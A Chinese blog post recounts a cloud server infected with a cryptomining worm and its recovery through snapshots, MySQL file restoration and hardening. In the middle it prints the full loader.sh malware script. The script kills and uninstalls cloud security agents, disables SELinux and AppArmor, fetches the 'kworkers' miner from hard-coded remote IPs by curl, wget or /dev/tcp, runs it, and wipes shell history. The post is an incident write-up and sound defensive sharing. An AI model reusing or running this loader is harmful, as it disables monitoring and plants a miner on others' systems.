复盘服务器遭挖矿病毒入侵后的系统恢复过程

中毒症状

  • 应用进程无故失踪
  • 内存、cpu使用率高局不下
  • 挖矿进程死而复活
1.kworkers任务


显示的症状就是每日创建kworkers定时任务,一开始我也是傻傻的相信了百度医生治标不治本的做法,删除掉用户下面的crontab任务,并做无脑重复的应用启停操作,然而这场博弈才刚刚开始

2.幕后主谋现身-loader.sh

直到我在服务器上找到十几处存放的loader.sh,才明白这个.git/kworkers为啥总能死而复活

history -c
ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rf
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}

function getip(){
    arr[0]="93.95.227.42"
    arr[1]="209.141.40.247"
    arr[2]="185.186.246.24"
    arr[3]="195.123.246.179"
    arr[4]="199.19.226.192"
    arr[5]="45.67.229.84"
    arr[6]="89.45.4.101"
    arr[7]="185.250.148.182"
    arr[8]="89.45.4.73"
    myarray=( $(shuf -e "${arr[@]}") )
    len=${#arr[@]}
    rand=$[ $RANDOM % $len ]
    ip=${arr[$rand]}
    for ip in "${myarray[@]}"
    do
    : 
        if ping -c 1 ${ip} -w 8 ; then
            echo "alive ip ${ip}"
            break          
        fi
    done
}
getip
echo "get ${ip}"

domainroota=${ip}


(ps aux | grep -v grep | grep 'aegis' ) && (curl -fsSL http://$domainroota/d/uninstall.sh| sh)

if ps aux | grep -i '[a]liyun'; then
  curl -fsSL http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi


if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
  /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor
else
  export ARCH=amd64
  if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
    /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor
  else
    echo "ali cloud monitor not running"
  fi
fi

setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service

rm -rf /usr/local/aegis
rm -rf /usr/local/qcloud
rm -rf /usr/local/hostguard/bin
ps axfwe -o "pid %cpu cmd" | grep -v .git  | grep -v java    | awk '{if($2>=60.0) print $1}' | xargs  -I {}  kill -9 {}

ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
ps aux | grep -v grep |grep "\[kworker/w2:0\]"  | awk '{print $2}' | xargs  -I {}  kill -9 {}

mkdir ~/.git
mkdir ./.git
gitdir=~/.git

if [ -d ~/.git ]; then
  gitdir=~/.git
fi

if [ -d ./.git ]; then
  gitdir=./.git
fi



# curl -fsSL -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64"  http://$domainroota/d/kworkers  -o $gitdir/kworkers || wget -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64" -q http://$domainroota/d/kworkers -O $gitdir/kworkers
function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

downf () {
    c=$1
    u=$2
    f=$3
    echo "use ${c} down ${u}  to ${f}"
    down=$c
    echo "use ${down}"
    if [ "$down" = "curl" ]; then
        echo "using curl"
        $c -fsSL -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64"  $u  -o $f
    elif [ "$down" = "wget" ]; then
        echo "using wget"
        $c -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64" -q $u -O $f
    else
        echo  "using __curl"       
        $c $u >$f
    fi

}

down="curl"
if ! command -v curl &> /dev/null
then
    down="wget"
    if ! command -v wget &> /dev/null
    then
           down="__curl"
   
    fi
    
fi

downf ${down} http://$domainroota/d/kworkers  $gitdir/kworkers

chmod 777 $gitdir/kworkers
if [ -e  /.dockerenv ]
then
  $gitdir/kworkers
else
  nohup $gitdir/kworkers >>$gitdir/.log&
fi


sed -i "/${domainroota}/d" ~/.bash_history
rm -f /tmp/.1.sh
rm -f /tmp/.GTK-unix

吃假药系统当场宕机

天真的以为把病毒的启动文件都删了,服务器一重启 提示:这里是失败的开始就万事大吉了,人家贵为病毒自然是拥有超乎你想象的破坏能力,它篡改了我的系统设置,在shutdown的那一刻,系统盘就已经崩了,远程SSH已经没戏了,遇到问题先别慌:

  1. 阿里云有VNC远程,试试这个可能远程重启,结果打开就扑该
error:file `/boot/grub2/i386-pc/normal.mod' not found

结果服务器直接报了一个系统文件不存在了,还是别慌,没有补一个就是了,抓紧时间提工单让阿里云工程师来解决,坐等系统复活

  1. 阿里云的工程师唰唰唰给我来了几条指导纲领,看的是一筹莫展,概括起来就是,这个东西已经不能用了,给你个恢复大法自行恢复试试,能找回多少东西全凭天意吧
1、对当前服务器做好快照备份(系统盘和数据盘):
ECS制作快照:https://help.aliyun.com/document_detail/25455.html?spm=a2c4g.108381.0.0.620c2ca9kVyJYx

注意:当您创建快照后,阿里云默认根据快照容量与时长按量计费,每个地域单独计费,按小时整点结算,以国内杭州举例:100GB快照,每小时扣费0.016元
快照计费可参考:https://help.aliyun.com/document_detail/56159.htm?spm=a2c4g.108381.0.0.6bd19960pviYMM#concept-rq2-pcx-ydb

2、初始化系统盘:https://help.aliyun.com/zh/ecs/user-guide/re-initialize-a-system-disk?spm=a2c4g.11186623.0.0.2e6148cc7JpTca

3、在控制台打开购买云盘页面,购买【和服务器处于相同可用区】的云盘,选择从快照创建磁盘(系统盘和数据盘,选择按量计费):https://help.aliyun.com/document_detail/32317.html

4、将购买的快照盘在控制台上挂载到服务器上,拷贝需要的数据即可:https://help.aliyun.com/document_detail/25446.html

5、数据拷贝完成之后,确保数据无误,释放通过快照创建的云硬盘;

6、服务器有挖矿植入,建议确保数据拷贝成功,将数据盘也格式化,格式化之后,再将系统中的数据移动到数据盘中:https://help.aliyun.com/zh/ecs/user-guide/re-initialize-a-data-disk?spm=a2c4g.11186623.0.i6

【安全加固】

1、操作系统加固:https://help.aliyun.com/knowledge_list/60787.html

2、web应用加固:https://help.aliyun.com/knowledge_list/60792.html

看来只能自己给自己挂水自救了

立即进行系统自救

网站是没法用了,所有的图片相关工序都停滞了,损失不可估量,也彻底暴露出个人网站的运维短板,出了问题必将致命,急归急,先列个一二三方案

  • 1.系统最重要的资源是几十个G的图片,先确保静态文件是否损坏
  • 2.图片资源若无损,那么第二步必须恢复数据库,否则这几十个G的图片想通过人工去对上号是几无可能
  • 3.恢复系统里的配置信息
  • 4.恢复应用包
  • 5.重启服务

第一步:打快照

得益于将静态资源目录单独加挂了一块云盘,使其与系统盘脱离开,在本次浩劫中未遭损失,尽管如此还是将系统盘与数据盘的云盘都打了快照,先选个十天有效期,不够再续

第二步:创建临时云盘

这里一定要听阿里云工程师的建议,从快照创建云盘的时候一定要选择按量计费,否则都是钱啊,这里根据快照数量,创建了两块临时云盘

第三步:系统盘初始化

没什么技术含量,阿里云有傻瓜式初始化功能,能恢复到盘古开天辟地的时候,打开的时候系统比脸还干净


困难起始线,从这里开始步步惊心

第四步:mysql数据恢复

mysql是安装在系统盘的,先把从快照创建的两块临时云盘挂上来

-- 查看所有的磁盘
fdisk -l
-- 挂载到指定目录
mount /dev/vdc1 /home/temp-sys
mount /dev/vde1 /home/temp-data

先上百度上搜一下,mysql一般数据文件都存在什么位置,按正常逻辑把对应的临时磁盘里的数据文件拷贝到初始化后的系统盘指定位置重启一下mysql应该就可以了。

-- 拷贝旧数据库文件
cp -r /home/temp-sys/var/lib/mysql/database_name /var/lib/mysql 
-- 重启mysql
systemctl restart mysqld

mysql -u root -p一连接,果然数据库和表都存在了,一时兴奋,竟这般顺利? 提示:不可能
果然,表是在的,但是一查询报错“table not exist”,继续做好百度工程师,一搜果然又有了答案

-- ibdata1文件也得同步拷贝过来
cp -f /home/temp-sys/var/lib/mysql/ibdata1 /var/lib/mysql
-- 删除日志文件
rm -rf ib_logfile0 ib_logfile1
-- 重启mysql
systemctl restart mysqld

报错来了:
[Warning] Buffered warning: Changed limits: max_open_files: 1024 (requested 5000)
[Warning] Buffered warning: Changed limits: table_open_cache: 431 (requested 2000)
这个见得多了,系统初始化后文件句柄数也被重置了

在 /etc/security/limits.conf 文件中加入,这个改完得重启服务器:
hard nofile 65535
soft nofile 65535
在 /usr/lib/systemd/system/mysqld.service 文件中加入:
LimitNOFILE=65535

继续重启mysql,结果还是报错:

mysqld.service changed on disk. Run 'systemctl daemon-reload' to reload units.

这个错误解决办法显而易见了,就按照这个错误提示执行一下systemctl daemon-reload就好了,再次重启数据库,启动成功。

这下一来,表可以查询了,建用户授权,这就结束了吗? 提示:绝对不可能
这里穿越到未来,后续启动应用服务的时候发现,少了存储过程、函数,以及搜索功能失效,得一一补上

-- 函数文件func.frm  func.MYD  func.MYI 
-- 存储过程文件均在/var/lib/mysql/mysql下
cp -r /home/temp-sys/var/lib/mysql/mysql /var/lib/mysql

调整mysql字符集,修改配置文件my.inf
在[mysqld]下新增
character_set_server = utf8
重启数据库
至此,数据库恢复才结束


第五步:静态资源恢复

这一步可以说是整个过程中最风平浪静的一步,从临时数据云盘里拷贝文件复制到对应的位置,并授权即可。可想而知,如果当初不是单独加挂了块云盘存放图片,现在上哪找去,所以资源和应用隔离还是相当重要的一点

第六步:各种应用安装配置

  • JDK安装,环境变量设置
  • zookeeper安装设置
  • Apache的安装配置
  • 旧应用包已经不能用了,得临时从git hub上重新拉工程打包,又摸索了好长时间
    这里多亏了廖大师,凭着他当初开发的记忆恢复了一些关键性的配置,比如Apache的路由,又提供了git hub工程路径,让应用的恢复顺畅了不少

第七步:安全加固

1.关闭风险端口,缩小访问权限,对于远程的3306、22等端口配置固定的ip访问限制
2.开启定时快照备份

小结

道高一尺魔高一丈,病毒会越来越狡猾,这次能顺利恢复也实属侥幸,系统运维也是一件任重道远之事,每多学一点知识,就多掉一根头发。总归是圆满了

  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值